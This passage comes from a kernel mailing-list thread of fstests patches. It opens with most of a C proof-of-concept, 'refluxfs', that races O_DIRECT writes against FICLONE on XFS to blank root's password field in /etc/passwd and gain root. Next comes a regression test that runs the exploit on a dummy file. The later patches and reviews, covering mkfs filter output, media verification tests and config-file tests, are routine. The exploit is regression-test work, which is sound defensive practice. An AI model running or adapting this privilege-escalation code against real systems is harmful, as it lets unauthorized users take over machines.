EEXIST) > + die(1, "mkdir workdir", NULL); > + snprintf(clone_path, sizeof clone_path, "%s/clone", workdir); > + snprintf(backup_path, sizeof backup_path, "%s/target.orig", workdir); > + atexit(cleanup); /* every exit() from here on cleans workdir */ > + > + /* Full BYTE-COPY backup of target (read/write, never FICLONE/ > + * copy_file_range -- must not take a refcount on the target's block). */ > + { > + int bfd = open(backup_path, O_WRONLY|O_CREAT|O_TRUNC, 0600); > + if (bfd < 0) die(1, "open backup", NULL); > + unsigned char buf[8192]; ssize_t n; off_t off = 0; > + while ((n = pread(target_fd_ro, buf, sizeof buf, off)) > 0) { > + if (write(bfd, buf, n) != n) die(1, "write backup", NULL); > + off += n; > + } > + if (n < 0) die(1, "read target for backup", NULL); > + fsync(bfd); close(bfd); > + OK("workdir %s", workdir); > + OK("backup %s (%lld bytes, byte-copy -- no reflink taken)", > + backup_path, (long long)off); > + } > + > + /* 5. abort if target's first extent is already shared (checked BEFORE we > + * FICLONE ourselves and create a share). */ > + int sh = target_first_extent_shared(); > + if (sh == 1) { > + BAD("target's first extent is ALREADY SHARED (FIEMAP_EXTENT_SHARED)."); > + INFO("The race needs refcount(X) to drop to exactly 1; a pre-existing"); > + INFO("reflink (e.g. `cp --reflink=auto` backup, coreutils >= 9.0 default)"); > + INFO("keeps it >= 2 and the race can never fire. Reset primitive:"); > + INFO(" chsh -s /usr/bin/bash"); > + INFO(" (or `-s /bin/bash` if that says 'Shell not changed.'; on"); > + INFO(" RHEL-family, chsh is in the optional util-linux-user pkg)"); > + INFO("This rewrites /etc/passwd via rename(2) as a fresh unshared inode."); > + exit(1); > + } else if (sh == 0) { > + OK("target's first extent is not pre-shared (refcount==1)"); > + } else { > + INFO("cannot determine sharing state via FIEMAP -- proceeding."); > + } > + > + /* 6. FICLONE actually works (=> reflink=1) */ > + int c = open(clone_path, O_RDWR|O_CREAT|O_TRUNC, 0600); > + if (c < 0) die(1, "open clone", NULL); > + if (ioctl(c, FICLONE, target_fd_ro) < 0) { > + int e = errno; > + BAD("FICLONE(clone <- target) failed: %s", strerror(e)); > + if (e == EOPNOTSUPP) > + INFO("This XFS was made with reflink=0 (xfsprogs < 5.1.0 or explicit)."); > + else if (e == EXDEV) > + INFO("Different filesystem after all -- pick another -d directory."); > + close(c); > + exit(1); > + } > + close(c); > + OK("FICLONE works -- filesystem has reflink=1"); > + > + /* 7. O_DIRECT open + one aligned pwrite actually work. All writers share > + * this one buffer -- payload never changes and pwrite() only reads it. */ > + if ((errno = posix_memalign((void **)&dio_buf, BLK, BLK))) > + die(1, "posix_memalign", NULL); > + memset(dio_buf, 0, BLK); > + c = open(clone_path, O_RDWR|O_DIRECT); > + if (c < 0) die(1, "open clone O_DIRECT", > + "O_DIRECT is required to reach xfs_direct_write_iomap_begin()."); > + if (pwrite(c, dio_buf, BLK, 0) != BLK) > + die(1, "O_DIRECT pwrite (alignment?)", > + "This PoC assumes 4K DIO alignment (default on all target distros)."); > + close(c); > + OK("O_DIRECT open + %d-byte aligned pwrite work on clone", BLK); > +} > + > +/* ---- race machinery ------------------------------------------------------ */ > + > +static int reclone(void) > +{ > + int c = open(clone_path, O_RDWR|O_CREAT|O_TRUNC, 0600); > + if (c < 0) return -errno; > + int r = ioctl(c, FICLONE, target_fd_ro) < 0 ? -errno : 0; > + close(c); > + return r; > +} > + > +static int target_changed(void) > +{ > + unsigned char b[BLK] = {0}; > + /* DIO landed on disk under a different address_space; drop the target's > + * (stale, clean) cached page so we re-read from disk. */ > + posix_fadvise(target_fd_ro, 0, 0, POSIX_FADV_DONTNEED); > + ssize_t n = pread(target_fd_ro, b, golden_len, 0); > + return n == golden_len && memcmp(b, golden, golden_len) != 0; > +} > + > +static void *writer(void *arg) > +{ > + (void)arg; > + for (;;) { > + pthread_barrier_wait(&bar); /* start of round */ > + if (atomic_load(&stop)) break; /* set only by main, only when > + * every writer is parked here */ > + int fd = open(clone_path, O_RDWR|O_DIRECT); > + if (fd >= 0) { (void)!pwrite(fd, dio_buf, BLK, 0); close(fd); } > + pthread_barrier_wait(&bar); /* end of round */ > + } > + return NULL; > +} > + > +static void *pressure(void *arg) > +{ > + char p[600]; > + snprintf(p, sizeof p, "%s/press.%d", workdir, (int)(intptr_t)arg); > + int fd = open(p, O_RDWR|O_CREAT|O_TRUNC, 0600); > + if (fd < 0) return NULL; > + char b = 0; > + while (!atomic_load(&stop)) { > + /* return values irrelevant -- goal is XFS log traffic, not the data */ > + (void)!pwrite(fd, &b, 1, 0); > + (void)!ftruncate(fd, BLK); > + fdatasync(fd); > + (void)!ftruncate(fd, 0); > + } > + close(fd); > + return NULL; > +} > + > +/* ---- main ---------------------------------------------------------------- */ > + > +static void usage(const char *argv0) > +{ > + fprintf(stderr, > + "usage: %s [-t target] [-d clone-dir] [-s seconds] [-w writers] [-p pressure]\n" > + " -t target file (default /etc/passwd; line 1 must be root:x:...)\n" > + " -d clone/work directory (default /var/tmp; must be writable, same XFS as -t)\n" > + " -s budget in seconds (default 300)\n" > + " -w concurrent DIO writers (default 32)\n" > + " -p log-pressure threads (default 8)\n", > + argv0); > +} > + > +int main(int argc, char **argv) > +{ > + int opt; > + while ((opt = getopt(argc, argv, "t:d:s:w:p:h")) != -1) switch (opt) { > + case 't': target_path = optarg; break; > + case 'd': clone_dir = optarg; break; > + case 's': budget_s = atoi(optarg); if (budget_s < 1) budget_s = 1; break; > + case 'w': nr_writers = atoi(optarg); if (nr_writers < 2) nr_writers = 2; break; > + case 'p': nr_pressure = atoi(optarg); if (nr_pressure < 0) nr_pressure = 0; break; > + default: usage(argv[0]); return 1; > + } > + > + struct utsname un; > + uname(&un); > + INFO("RefluXFS PoC -- kernel %s", un.release); > + > + /* Install handlers BEFORE preflight so Ctrl-C after workdir/clone creation > + * still reaches atexit(cleanup) instead of leaving a reflinked clone (which > + * would keep the target's extent SHARED and defeat every later run). */ > + signal(SIGINT, on_signal); > + signal(SIGTERM, on_signal); > + > + preflight(); > + > + /* Payload: surgical edit of line 1 only. `root:x:...\n` -> `root::...\n\n`. > + * Shift the byte range [6, nl] one position left over the `x`; the > + * original `\n` at position nl is untouched, so we get two consecutive > + * newlines and every byte from line 2 onward stays at its ORIGINAL > + * offset -- correct for any file size, no entry straddles a boundary. */ > + memcpy(dio_buf, golden, golden_len); > + ssize_t nl = 0; > + while (nl < golden_len && golden[nl] != '\n') nl++; > + memmove(dio_buf + 5, dio_buf + 6, (size_t)nl - 5); /* nl>=7 by preflight */ > + > + /* threads */ > + if ((errno = pthread_barrier_init(&bar, NULL, nr_writers + 1))) > + die(1, "pthread_barrier_init", NULL); > + pthread_t *tw = calloc(nr_writers, sizeof *tw); > + pthread_t *tp = calloc(nr_pressure ? nr_pressure : 1, sizeof *tp); > + if (!tw || !tp) { BAD("calloc: out of memory"); exit(1); } > + for (int i = 0; i < nr_writers; i++) > + if ((errno = pthread_create(&tw[i], NULL, writer, NULL))) > + die(1, "pthread_create writer", NULL); > + for (int i = 0; i < nr_pressure; i++) > + if ((errno = pthread_create(&tp[i], NULL, pressure, (void*)(intptr_t)i))) > + die(1, "pthread_create pressure", NULL); > + > + /* Race: reclone -> release all writers -> check target -> repeat. */ > + INFO("racing: %d writers + %d log-pressure threads, up to %ds ...", > + nr_writers, nr_pressure, budget_s); > + struct timespec t0, t; clock_gettime(CLOCK_MONOTONIC, &t0); > + int rc = 2, e; > + while (!atomic_load(&sigint)) { > + if ((e = reclone()) < 0) { > + fprintf(stderr, "\n"); > + BAD("reclone: %s", strerror(-e)); > + rc = 1; break; > + } > + rounds++; > + pthread_barrier_wait(&bar); /* release writers */ > + pthread_barrier_wait(&bar); /* writers done */ > + if (target_changed()) { rc = 0; break; } > + clock_gettime(CLOCK_MONOTONIC, &t); > + long el = t.tv_sec - t0.tv_sec; > + if (el >= budget_s) break; > + if ((rounds & 0xff) == 0) > + fprintf(stderr, "\r round %ld (%lds, ~%ld r/s) ", > + rounds, el, el ? rounds/el : rounds); > + } > + fprintf(stderr, "\n"); > + > + /* Shutdown. Every path out of the loop above leaves each writer either > + * already at (or on its way to) the start-barrier -- the loop never breaks > + * between the two barrier_wait()s, and writers only test `stop`, which is > + * still 0. Set `stop` now, cross the start-barrier once to release them; > + * they observe `stop` immediately after and exit without a second wait. */ > + atomic_store(&stop, 1); > + pthread_barrier_wait(&bar); > + for (int i = 0; i < nr_writers; i++) pthread_join(tw[i], NULL); > + for (int i = 0; i < nr_pressure; i++) pthread_join(tp[i], NULL); > + free(tw); free(tp); > + > + if (rc == 0) { > + keep_backup = 1; /* atexit(cleanup) leaves backup + workdir */ > + char now[96] = {0}; > + if (pread(target_fd_ro, now, sizeof now - 1, 0) > 0) > + for (char *q = now; *q; q++) if (*q == '\n') { *q = 0; break; } > + BAD("========================================================="); > + BAD("VULNERABLE -- %s block 0 overwritten via stale-imap DIO", target_path); > + BAD("first line is now: %s", now); > + BAD("hit at round %ld", rounds); > + BAD("========================================================="); > + fprintf(stderr, "\n"); > + INFO("Confirm: su (empty password -> `id` shows uid=0)"); > + INFO("Restore: # dd if=%s of=%s", backup_path, target_path); > + INFO(" (as root; dd is read/write. Do NOT use cp or cat: cp"); > + INFO(" reflinks via FICLONE by default (>=9.0), and recent"); > + INFO(" coreutils cat uses copy_file_range() which also"); > + INFO(" reflinks -- either would leave the target SHARED.)"); > + } else if (rc == 2) { > + OK("race did not fire in %ld rounds.", rounds); > + if (!atomic_load(&sigint)) > + INFO("Kernel is likely PATCHED (or window too tight -- retry with larger -s / -w)."); > + } > + return rc; > +} > diff --git a/tests/generic/1956 b/tests/generic/1956 > new file mode 100755 > index 00000000000000..bc926e4685408e > --- /dev/null > +++ b/tests/generic/1956 > @@ -0,0 +1,58 @@ > +#! /bin/bash > +# SPDX-License-Identifier: GPL-2.0 > +# Copyright (c) 2026 Oracle. All Rights Reserved. > +# > +# FS QA Test No. 1956 > +# > +# Regression test for refluxfs, which is an exploit for a race condition in > +# XFS' directio copy-on-write code that can be used to rewrite shared blocks > +# to gain root privileges. > +# > +. ./common/preamble > +_begin_fstest auto rw clone > + > +_cleanup() > +{ > + cd / > + rm -r -f $tmp.* > + test -n "$dummydir" && rm -r -f "$dummydir" > +} > + > +. ./common/reflink > + > +_require_test_program "refluxfs" > +_require_test_reflink > +_require_odirect > +_require_user fsgqa > +_require_group fsgqa > + > +_fixed_by_fs_commit xfs 2f4acd0fcd862e \ > + "xfs: resample the data fork mapping after cycling ILOCK" > + > +dummydir="$TEST_DIR/$seq" > + > +rm -r -f "$dummydir" > +mkdir "$dummydir" > + > +fakedata="root:x:0:0:root:/root:/bin/bash" > +echo "$fakedata" > $dummydir/datafile > + > +# Try to trick the system into letting a different user make a reflink copy of > +# the data file and rewrite the shared data block to corrupt the contents. > +mkdir $dummydir/workdir > +chown $qa_user:$qa_group $dummydir/workdir > +_su $qa_user -c "$here/src/refluxfs -t $dummydir/datafile -d $dummydir/workdir -s $((30 * TIME_FACTOR))" &>> $seqres.full > +res=$? > +case "$res" in > +0) echo "vulnerable to corruption";; > +1) echo "runtime error";; > +2) echo "corruption not observed";; > +*) echo "unknown outcome $res";; > +esac > + > +result="$(cat $dummydir/datafile)" > +test "$result" != "$fakedata" && \ > + echo "shared data block rewritten, you have been pwned!" > + > +# success, all done > +_exit 0 > diff --git a/tests/generic/1956.out b/tests/generic/1956.out > new file mode 100644 > index 00000000000000..55d8be979b1486 > --- /dev/null > +++ b/tests/generic/1956.out > @@ -0,0 +1,2 @@ > +QA output created by 1956 > +corruption not observed > ^ permalink raw reply [flat|nested] 11+ messages in thread
* [PATCH 2/4] common/xfs: add zoned/rtstart info to mkfs filter output 2026-09-28 15:36 [PATCHSET] fstests: new tests for old features Darrick J. Wong 2026-09-28 15:36 ` [PATCH 1/4] generic: regression test for refluxfs fixes Darrick J. Wong @ 2026-09-28 15:36 ` Darrick J. Wong 2026-10-01 12:27 ` Andrey Albershteyn ` (2 more replies) 2026-09-28 15:36 ` [PATCH 3/4] xfs: basic functional testing of media verification command Darrick J. Wong 2026-09-28 15:36 ` [PATCH 4/4] xfs: test mkfs.xfs config file generation Darrick J. Wong 3 siblings, 3 replies; 11+ messages in thread From: Darrick J. Wong @ 2026-09-28 15:36 UTC (permalink / raw) To: zlang, djwong; +Cc: linux-xfs, fstests From: Darrick J. Wong <djwong@kernel.org> A subsequent patch will want to be able to extract the start of an internal rt volume from the xfs_info output, so add the necessary lines to _xfs_filter_mkfs to transform the output into bash variables. Signed-off-by: "Darrick J. Wong" <djwong@kernel.org> --- common/xfs | 3 +++ 1 file changed, 3 insertions(+) diff --git a/common/xfs b/common/xfs index 98981e624ddade..318b1a3b245ae6 100644 --- a/common/xfs +++ b/common/xfs @@ -1787,6 +1787,9 @@ _xfs_filter_mkfs() } if (/^\s+=\s+rgcount=(\d+)\s+rgsize=(\d+) extents/) { print STDERR "rgcount=$1\nrgextents=$2\n"; + } + if (/^\s+=\s+zoned=(\d+)\s+start=(\d+) reserved=(\d+)/) { + print STDERR "zoned=$1\nrtstart=$2\nrtreserved=$3\n"; }' } ^ permalink raw reply related [flat|nested] 11+ messages in thread
* Re: [PATCH 2/4] common/xfs: add zoned/rtstart info to mkfs filter output 2026-09-28 15:36 ` [PATCH 2/4] common/xfs: add zoned/rtstart info to mkfs filter output Darrick J. Wong @ 2026-10-01 12:27 ` Andrey Albershteyn 2026-10-05 12:57 ` Christoph Hellwig 2026-10-08 14:47 ` Zorro Lang 2 siblings, 0 replies; 11+ messages in thread From: Andrey Albershteyn @ 2026-10-01 12:27 UTC (permalink / raw) To: Darrick J. Wong; +Cc: zlang, linux-xfs, fstests On 2026-09-28 08:36:27, Darrick J. Wong wrote: > From: Darrick J. Wong <djwong@kernel.org> > > A subsequent patch will want to be able to extract the start of an > internal rt volume from the xfs_info output, so add the necessary lines > to _xfs_filter_mkfs to transform the output into bash variables. > > Signed-off-by: "Darrick J. Wong" <djwong@kernel.org> Looks good to me Reviewed-by: Andrey Albershteyn <aalbersh@kernel.org> -- - Andrey ^ permalink raw reply [flat|nested] 11+ messages in thread
* Re: [PATCH 2/4] common/xfs: add zoned/rtstart info to mkfs filter output 2026-09-28 15:36 ` [PATCH 2/4] common/xfs: add zoned/rtstart info to mkfs filter output Darrick J. Wong 2026-10-01 12:27 ` Andrey Albershteyn @ 2026-10-05 12:57 ` Christoph Hellwig 2026-10-08 14:47 ` Zorro Lang 2 siblings, 0 replies; 11+ messages in thread From: Christoph Hellwig @ 2026-10-05 12:57 UTC (permalink / raw) To: Darrick J. Wong; +Cc: zlang, linux-xfs, fstests On Mon, Sep 28, 2026 at 08:36:27AM -0700, Darrick J. Wong wrote: > From: Darrick J. Wong <djwong@kernel.org> > > A subsequent patch will want to be able to extract the start of an > internal rt volume from the xfs_info output, so add the necessary lines > to _xfs_filter_mkfs to transform the output into bash variables. > > Signed-off-by: "Darrick J. Wong" <djwong@kernel.org> Looks good: Reviewed-by: Christoph Hellwig <hch@lst.de> ^ permalink raw reply [flat|nested] 11+ messages in thread
* Re: [PATCH 2/4] common/xfs: add zoned/rtstart info to mkfs filter output 2026-09-28 15:36 ` [PATCH 2/4] common/xfs: add zoned/rtstart info to mkfs filter output Darrick J. Wong 2026-10-01 12:27 ` Andrey Albershteyn 2026-10-05 12:57 ` Christoph Hellwig @ 2026-10-08 14:47 ` Zorro Lang 2 siblings, 0 replies; 11+ messages in thread From: Zorro Lang @ 2026-10-08 14:47 UTC (permalink / raw) To: Darrick J. Wong; +Cc: linux-xfs, fstests On Mon, Sep 28, 2026 at 08:36:27AM -0700, Darrick J. Wong wrote: > From: Darrick J. Wong <djwong@kernel.org> > > A subsequent patch will want to be able to extract the start of an > internal rt volume from the xfs_info output, so add the necessary lines > to _xfs_filter_mkfs to transform the output into bash variables. > > Signed-off-by: "Darrick J. Wong" <djwong@kernel.org> > --- Makes sense, Reviewed-by: Zorro Lang <zlang@kernel.org> > common/xfs | 3 +++ > 1 file changed, 3 insertions(+) > > > diff --git a/common/xfs b/common/xfs > index 98981e624ddade..318b1a3b245ae6 100644 > --- a/common/xfs > +++ b/common/xfs > @@ -1787,6 +1787,9 @@ _xfs_filter_mkfs() > } > if (/^\s+=\s+rgcount=(\d+)\s+rgsize=(\d+) extents/) { > print STDERR "rgcount=$1\nrgextents=$2\n"; > + } > + if (/^\s+=\s+zoned=(\d+)\s+start=(\d+) reserved=(\d+)/) { > + print STDERR "zoned=$1\nrtstart=$2\nrtreserved=$3\n"; > }' > } > > ^ permalink raw reply [flat|nested] 11+ messages in thread
* [PATCH 3/4] xfs: basic functional testing of media verification command 2026-09-28 15:36 [PATCHSET] fstests: new tests for old features Darrick J. Wong 2026-09-28 15:36 ` [PATCH 1/4] generic: regression test for refluxfs fixes Darrick J. Wong 2026-09-28 15:36 ` [PATCH 2/4] common/xfs: add zoned/rtstart info to mkfs filter output Darrick J. Wong @ 2026-09-28 15:36 ` Darrick J. Wong 2026-10-01 12:44 ` Andrey Albershteyn 2026-10-05 12:57 ` Christoph Hellwig 2026-09-28 15:36 ` [PATCH 4/4] xfs: test mkfs.xfs config file generation Darrick J. Wong 3 siblings, 2 replies; 11+ messages in thread From: Darrick J. Wong @ 2026-09-28 15:36 UTC (permalink / raw) To: zlang, djwong; +Cc: linux-xfs, fstests From: Darrick J. Wong <djwong@kernel.org> Implement a simple testcase to check that media verification works on however the scratch filesystem is configured. Signed-off-by: "Darrick J. Wong" <djwong@kernel.org> --- tests/xfs/1908 | 123 ++++++++++++++++++++++++++++++++++++++++++++++++++++ tests/xfs/1908.out | 28 ++++++++++++ 2 files changed, 151 insertions(+) create mode 100755 tests/xfs/1908 create mode 100644 tests/xfs/1908.out diff --git a/tests/xfs/1908 b/tests/xfs/1908 new file mode 100755 index 00000000000000..93a87293adbcef --- /dev/null +++ b/tests/xfs/1908 @@ -0,0 +1,123 @@ +#! /bin/bash +# SPDX-License-Identifier: GPL-2.0 +# Copyright (c) 2026 Oracle. All Rights Reserved. +# +# FS QA Test 1908 +# +# Basic functional testing of the verifymedia command. +# +. ./common/preamble +_begin_fstest auto quick scrub selfhealing + +. ./common/filter + +_require_xfs_io_command verifymedia +_require_scratch + +# Make the data and rt volumes small enough that this won't take forever +# on large slow devices. +_scratch_mkfs_sized $((600 * 1024 * 1024)) | \ + _filter_mkfs 2>$tmp.mkfs >> $seqres.full +_scratch_mount + +. $tmp.mkfs + +filter_verifymedia() { + grep '^verified' | \ + tr '/' ' ' | \ + awk '{printf("VERIFIED=%s WANTED=%s OFFSET=%s\n", $2, $3, $7);}' +} + +testme() { + unset VERIFIED + unset WANTED + unset OFFSET + + local x + x=$($XFS_IO_PROG -c "verifymedia $*" $SCRATCH_MNT | filter_verifymedia) + eval "$x" +} + +cat $tmp.mkfs >> $seqres.full + +DDEV_EOD=$((dblocks * dbsize)) # bytes + +# t0: no parameters, which means the whole data device +testme +_within_tolerance "t0 wanted range" $WANTED $DDEV_EOD 2% -v +_within_tolerance "t0 verified range" $VERIFIED $WANTED 2% -v +_within_tolerance "t0 offset" $OFFSET 0 0 -v + +# t1: data device +testme -d +_within_tolerance "t1 wanted range" $WANTED $DDEV_EOD 2% -v +_within_tolerance "t1 verified range" $VERIFIED $WANTED 2% -v +_within_tolerance "t1 offset" $OFFSET 0 0 -v + +# t2: realtime volume +if [ $rtblocks -gt 0 ]; then + testme -r + if [ -n "$rtstart" ]; then + rtend=$((rtstart + rtblocks)) + else + rtend=$rtblocks + fi + _within_tolerance "t2 wanted range" $WANTED $((rtend * dbsize)) 2% -v + _within_tolerance "t2 verified range" $VERIFIED $WANTED 2% -v + _within_tolerance "t2 offset" $OFFSET 0 0 -v +else + cat << ENDL +t2 wanted range is in range +t2 verified range is in range +t2 offset is in range +ENDL +fi + +# t3: external log volume +if [ "$ldev" != "internal log" ]; then + testme -l + _within_tolerance "t3 wanted range" $WANTED $((lblocks * dbsize)) 2% -v + _within_tolerance "t3 verified range" $VERIFIED $WANTED 2% -v + _within_tolerance "t3 offset" $OFFSET 0 0 -v +else + cat << ENDL +t3 wanted range is in range +t3 verified range is in range +t3 offset is in range +ENDL +fi + +# t4: start of data device +testme -d 0m 10m +_within_tolerance "t4 wanted range" $WANTED $((10 * 1024 * 1024)) 2% -v +_within_tolerance "t4 verified range" $VERIFIED $WANTED 2% -v +_within_tolerance "t4 offset" $OFFSET 0 0 -v + +# t5: middle of data device +testme -d 257m 281m +_within_tolerance "t5 wanted range" $WANTED $((24 * 1024 * 1024)) 2% -v +_within_tolerance "t5 verified range" $VERIFIED $WANTED 2% -v +_within_tolerance "t5 offset" $OFFSET $((257 * 1024 * 1024)) 2% -v + +# t6: end of data device +t6_offset=$((DDEV_EOD - (11 * 1024 * 1024))) +testme -d $t6_offset $DDEV_EOD +_within_tolerance "t6 wanted range" $WANTED $((11 * 1024 * 1024)) 2% -v +_within_tolerance "t6 verified range" $VERIFIED $WANTED 2% -v +_within_tolerance "t6 offset" $OFFSET $t6_offset 2% -v + +# t7: start after end +testme -d 241m 217m +_within_tolerance "t7 wanted range" $WANTED 0 0 -v +_within_tolerance "t7 verified range" $VERIFIED $WANTED 2% -v +_within_tolerance "t7 offset" $OFFSET $((241 * 1024 * 1024)) 2% -v + +# t8: range crosses eod +t8_offset=$((DDEV_EOD - (3 * 1024 * 1024))) +t8_end=$((DDEV_EOD + (70 * 1024 * 1024))) +testme -d $t8_offset $t8_end +_within_tolerance "t8 wanted range" $WANTED $((3 * 1024 * 1024)) 2% -v +_within_tolerance "t8 verified range" $VERIFIED $WANTED 2% -v +_within_tolerance "t8 offset" $OFFSET $t8_offset 2% -v + +_exit 0 diff --git a/tests/xfs/1908.out b/tests/xfs/1908.out new file mode 100644 index 00000000000000..bbc55ef31a13a0 --- /dev/null +++ b/tests/xfs/1908.out @@ -0,0 +1,28 @@ +QA output created by 1908 +t0 wanted range is in range +t0 verified range is in range +t0 offset is in range +t1 wanted range is in range +t1 verified range is in range +t1 offset is in range +t2 wanted range is in range +t2 verified range is in range +t2 offset is in range +t3 wanted range is in range +t3 verified range is in range +t3 offset is in range +t4 wanted range is in range +t4 verified range is in range +t4 offset is in range +t5 wanted range is in range +t5 verified range is in range +t5 offset is in range +t6 wanted range is in range +t6 verified range is in range +t6 offset is in range +t7 wanted range is in range +t7 verified range is in range +t7 offset is in range +t8 wanted range is in range +t8 verified range is in range +t8 offset is in range ^ permalink raw reply related [flat|nested] 11+ messages in thread
* Re: [PATCH 3/4] xfs: basic functional testing of media verification command 2026-09-28 15:36 ` [PATCH 3/4] xfs: basic functional testing of media verification command Darrick J. Wong @ 2026-10-01 12:44 ` Andrey Albershteyn 2026-10-05 12:57 ` Christoph Hellwig 1 sibling, 0 replies; 11+ messages in thread From: Andrey Albershteyn @ 2026-10-01 12:44 UTC (permalink / raw) To: Darrick J. Wong; +Cc: zlang, linux-xfs, fstests On 2026-09-28 08:36:42, Darrick J. Wong wrote: > From: Darrick J. Wong <djwong@kernel.org> > > Implement a simple testcase to check that media verification works on > however the scratch filesystem is configured. > > Signed-off-by: "Darrick J. Wong" <djwong@kernel.org> Looks good to me Reviewed-by: Andrey Albershteyn <aalbersh@kernel.org> -- - Andrey ^ permalink raw reply [flat|nested] 11+ messages in thread
* Re: [PATCH 3/4] xfs: basic functional testing of media verification command 2026-09-28 15:36 ` [PATCH 3/4] xfs: basic functional testing of media verification command Darrick J. Wong 2026-10-01 12:44 ` Andrey Albershteyn @ 2026-10-05 12:57 ` Christoph Hellwig 1 sibling, 0 replies; 11+ messages in thread From: Christoph Hellwig @ 2026-10-05 12:57 UTC (permalink / raw) To: Darrick J. Wong; +Cc: zlang, linux-xfs, fstests On Mon, Sep 28, 2026 at 08:36:42AM -0700, Darrick J. Wong wrote: > From: Darrick J. Wong <djwong@kernel.org> > > Implement a simple testcase to check that media verification works on > however the scratch filesystem is configured. Looks good: Reviewed-by: Christoph Hellwig <hch@lst.de> ^ permalink raw reply [flat|nested] 11+ messages in thread
* [PATCH 4/4] xfs: test mkfs.xfs config file generation 2026-09-28 15:36 [PATCHSET] fstests: new tests for old features Darrick J. Wong ` (2 preceding siblings ...) 2026-09-28 15:36 ` [PATCH 3/4] xfs: basic functional testing of media verification command Darrick J. Wong @ 2026-09-28 15:36 ` Darrick J. Wong 3 siblings, 0 replies; 11+ messages in thread From: Darrick J. Wong @ 2026-09-28 15:36 UTC (permalink / raw) To: zlang, djwong; +Cc: aalbersh, linux-xfs, fstests From: Darrick J. Wong <djwong@kernel.org> Test configuration file generation via mkfs, xfs_db, and xfs_spaceman. Signed-off-by: "Darrick J. Wong" <djwong@kernel.org> Reviewed-by: Andrey Albershteyn <aalbersh@kernel.org> --- tests/xfs/1909 | 163 ++++++++++++++++++++++++++++++++++++++++++++++++++++ tests/xfs/1909.out | 2 + 2 files changed, 165 insertions(+) create mode 100755 tests/xfs/1909 create mode 100644 tests/xfs/1909.out diff --git a/tests/xfs/1909 b/tests/xfs/1909 new file mode 100755 index 00000000000000..d60d552f5b4863 --- /dev/null +++ b/tests/xfs/1909 @@ -0,0 +1,163 @@ +#! /bin/bash +# SPDX-License-Identifier: GPL-2.0 +# Copyright (c) 2026 Oracle. All Rights Reserved. +# +# FS QA Test 1909 +# +# Functional testing for mkfs.xfs config file generation. +# +. ./common/preamble +_begin_fstest auto mkfs + +# . ./common/filter + +_require_scratch +_require_xfs_mkfs_cfgfile +_require_xfs_spaceman_command "makecfg" +_require_xfs_db_command "makecfg" +_require_command "$XFS_ADMIN_PROG" "xfs_admin" + +# t1: Make sure all three tools generate the same config file +_scratch_mkfs >> $seqres.full +_scratch_mount +$XFS_SPACEMAN_PROG -c "makecfg $tmp.spaceman1" $SCRATCH_MNT +$XFS_ADMIN_PROG -C $tmp.onadmin1 $SCRATCH_MNT +_scratch_unmount + +_scratch_mkfs -c makecfg=$tmp.mkfs1 >> $seqres.full +_scratch_xfs_db -c "makecfg $tmp.db1" +_scratch_xfs_admin -C $tmp.offadmin1 + +cmp -s $tmp.mkfs1 $tmp.spaceman1 || \ + echo "mkfs config1 does not match spaceman?" +cmp -s $tmp.db1 $tmp.spaceman1 || \ + echo "db config1 does not match spaceman?" +cmp -s $tmp.db1 $tmp.mkfs1 || \ + echo "db config1 does not match mkfs?" +cmp -s $tmp.onadmin1 $tmp.mkfs1 || \ + echo "online admin config1 does not match mkfs?" +cmp -s $tmp.offadmin1 $tmp.mkfs1 || \ + echo "offline admin config1 does not match mkfs?" + +echo "*** spaceman config1" >> $seqres.full +cat $tmp.spaceman1 >> $seqres.full +echo "*** mkfs config1" >> $seqres.full +cat $tmp.mkfs1 >> $seqres.full +echo "*** db config1" >> $seqres.full +cat $tmp.db1 >> $seqres.full +echo "*** online admin config1" >> $seqres.full +cat $tmp.onadmin1 >> $seqres.full +echo "*** offline admin config1" >> $seqres.full +cat $tmp.offadmin1 >> $seqres.full + +# t2: Make sure the output changes if we set a new rootdir inherit option +_scratch_mount +$XFS_IO_PROG -c 'chattr +P' -c 'chproj 33' $SCRATCH_MNT +$XFS_SPACEMAN_PROG -c "makecfg $tmp.spaceman2" $SCRATCH_MNT +_scratch_unmount +_scratch_xfs_db -c "makecfg $tmp.db2" + +cmp -s $tmp.db2 $tmp.spaceman2 || \ + echo "db config2 does not match spaceman?" +cmp -s $tmp.db1 $tmp.db2 && \ + echo "db config1 should be different from db config2" + +echo "*** spaceman config2" >> $seqres.full +cat $tmp.spaceman2 >> $seqres.full +echo "*** db config2" >> $seqres.full +cat $tmp.db2 >> $seqres.full + +# t3: Format with t2 config file, make sure the results match t2 and not t1 +_scratch_mkfs -c options=$tmp.db2 >> $seqres.full +_scratch_mount +$XFS_SPACEMAN_PROG -c "makecfg $tmp.spaceman3" $SCRATCH_MNT +_scratch_unmount +_scratch_xfs_db -c "makecfg $tmp.db3" + +cmp -s $tmp.db3 $tmp.spaceman3 || \ + echo "db config3 does not match spaceman?" +cmp -s $tmp.db3 $tmp.db1 && \ + echo "db config3 should be different from db config1" +cmp -s $tmp.db3 $tmp.db2 || \ + echo "db config3 does not match db config2?" + +echo "*** spaceman config3" >> $seqres.full +cat $tmp.spaceman3 >> $seqres.full +echo "*** db config3" >> $seqres.full +cat $tmp.db3 >> $seqres.full + +# t4: Set autofsck filesystem property, make sure that gets reflected +autofsck="$(grep 'autofsck=' $tmp.spaceman3 | sed -e 's/^.*autofsck=//g')" +case "$autofsck" in +"") + if grep -q 'crc=1' $tmp.spaceman3; then + new_autofsck=check + fi + ;; +repair) new_autofsck=check;; +*) new_autofsck=repair;; +esac +if [ -n "$new_autofsck" ]; then + $XFS_PROPERTY_PROG $SCRATCH_DEV set "autofsck=$new_autofsck" >> $seqres.full + _scratch_mount + $XFS_SPACEMAN_PROG -c "makecfg $tmp.spaceman4" $SCRATCH_MNT + _scratch_unmount + _scratch_xfs_db -c "makecfg $tmp.db4" + + cmp -s $tmp.db4 $tmp.spaceman4 || \ + echo "db config4 does not match spaceman?" + cmp -s $tmp.db4 $tmp.db3 && \ + echo "db config4 should be different from db config3" + + echo "*** spaceman config4" >> $seqres.full + cat $tmp.spaceman4 >> $seqres.full + echo "*** db config4" >> $seqres.full + cat $tmp.db4 >> $seqres.full + + _scratch_mkfs -c options=$tmp.db4 >> $seqres.full + _scratch_mount + $XFS_SPACEMAN_PROG -c "makecfg $tmp.spaceman4a" $SCRATCH_MNT + _scratch_unmount + _scratch_xfs_db -c "makecfg $tmp.db4a" + + cmp -s $tmp.db4a $tmp.spaceman4a || \ + echo "db config4a does not match spaceman?" + cmp -s $tmp.db4a $tmp.db3 && \ + echo "db config4a should be different from db config3" + cmp -s $tmp.db4a $tmp.db4 || \ + echo "db config4a does not match db config4?" + + echo "*** spaceman config4a" >> $seqres.full + cat 